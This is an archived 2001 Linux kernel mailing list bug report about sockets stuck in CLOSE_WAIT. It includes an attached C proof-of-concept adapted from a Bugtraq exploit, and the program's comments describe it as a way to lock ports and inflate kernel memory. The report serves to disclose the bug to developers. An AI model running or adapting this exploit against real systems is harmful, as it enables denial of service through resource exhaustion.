lkml.org 
[lkml]   [2001]   [Jun]   [12]   [last100]   RSS Feed
Views: [wrap][no wrap]   [headers]  [forward] 
 
Messages in this thread
/
Date
From
SubjectCLOSE_WAIT bug?
Hi all,

I suppect that there is bug in both kernel 2.2.19 and 2.4.5.
The situation is as follow.

One server socket created and listening, blocking on select(),
once a client connect to that port, there is another thread in server
side issues a close() to the new connection.
After the client close the connection. The connection in server side will
stuck on CLOSE_WAIT forever until the program being killed.

I have attached a program to trigger the bug.
The program is written base on a bugtraq post on this link:

http://archives.indenial.com/hypermail/bugtraq/1999/January1999/0015.html

This is the output of "netstat -anop":

tcp 1 0 127.0.0.1:52882 127.0.0.1:1031 CLOSE_WAIT - off (0.00/0/0)
tcp 1 0 127.0.0.1:52882 127.0.0.1:1030 CLOSE_WAIT - off (0.00/0/0)

You can see that there is no owner and the timer is off.

I encounter this in my server program and the CLOSE_WAIT thread eat up
all the resource as it cannot be released.

I have tried this on kernel 2.2.16, 2.2.19, 2.4.5 and using
gcc version 2.96 20000731 (Red Hat Linux 7.0), all this have such problem.

I am new to kernel hacking. I don't know whether this is a bug or not.
Please correct me if I am doing something wrong and forgive my poor
description. :)


Thanks
Dicky

PS. Please CC: dicky@sinocdn.com when reply.

// This program will kill a random port on a linux machine. The kernel will
// forever listen to that port and send the connections nowhere. Tested with
// Linux kernel 2.0.35 and libc-2.0.7. Requires LinuxThreads to compile,
// but removing LinuxThreads from your system will not solve the problem.

// The bug is triggered when a multithreaded program closes a socket from
// one thread while another thread is selecting on it. A subsequent abort
// leaves the socket in never-never land.

// Do not underestimate the risk of this exploit. While this program
// is mild, more vicious programs could lock large numbers of ports or
// replicate this same attack on an active connection with large
// send/receive buffers full of data. This could cause large increases
// in kernel memory consumption.

// Discovered by David J. Schwartz <davids@webmaster.com>
// Copyright (C) 1998, David J. Schwartz

// Note: This bug was not fixed in 2.0.36, as I was told it would be

// Compile with:
// gcc CLOSE_WAIT_test.c -lpthread -o CLOSE_WAIT_test

#include <pthread.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <errno.h>

volatile int s;
volatile int sock;
volatile int connected=0;

void *Thread1(void *a)
{
int i,p;
struct sockaddr_in to;
fd_set fd;
s=socket(AF_INET, SOCK_STREAM, 0);
if(s<=0) return;
memset(&to, 0, sizeof(to));
srand(getpid());

/* we pick a random port between 50000 and 59999 */
p=(rand()%10000)+50000;

printf("port = %d\n", p);
fflush(stdout);
to.sin_port=htons(p);
to.sin_addr.s_addr=0;
to.sin_family=AF_INET;
if(bind(s, (struct sockaddr *)&to, sizeof(to))<0)
fprintf(stderr,"no bind\n");
if(listen(s,10)!=0)
fprintf(stderr,"No Listen\n");
/* now we are listening on that port */
i=sizeof(to);
FD_ZERO(&fd);
FD_SET(s,&fd);
fprintf(stdout,"Listening, before select\n");
fprintf(stdout,"Please connect to port %d now\n", p);
select(s+1,&fd,NULL,NULL,NULL);
/* at this point we have selected on it as well */
fprintf(stderr,"select returned!\n");

if (FD_ISSET(s, &fd))
{
fprintf(stdout, "socket is set\n");
sock = accept(s, NULL, NULL);
fprintf(stdout, "accepted\n");
FD_SET(sock, &fd);
fprintf(stdout, "FD_SET ok\n");
connected = 1;

fprintf(stdout,"\nListening, before select\n");
select(sock+1, &fd, NULL, NULL, NULL);
fprintf(stdout, "select returned\n");


}
else
{
fprintf(stderr, "Error : fd not set\n");
exit(1);
}
}

void *Thread2(void *a)
{
fprintf(stdout,"Thread2 : before close the client socket\n");
close(sock);
fprintf(stdout,"Thread2 : after close the client socket\n\n\n");
fprintf(stdout,"Please close the remote session and check the result\n");
fflush(stderr);
// abort();
}

void main(void)
{
pthread_t j;
pthread_create(&j,NULL,Thread1,NULL);

while (connected == 0)
usleep(1000); /* give the other thread time to finish */
pthread_create(&j,NULL,Thread2,NULL);

while(1) sleep(1);
}



\
 
 \ /
  Last update: 2005-03-22 12:55    [W:0.033 / U:0.200 seconds]
©2003-2020 Jasper Spaans|hosted at Digital Ocean and TransIP|Read the blog|Advertise on this site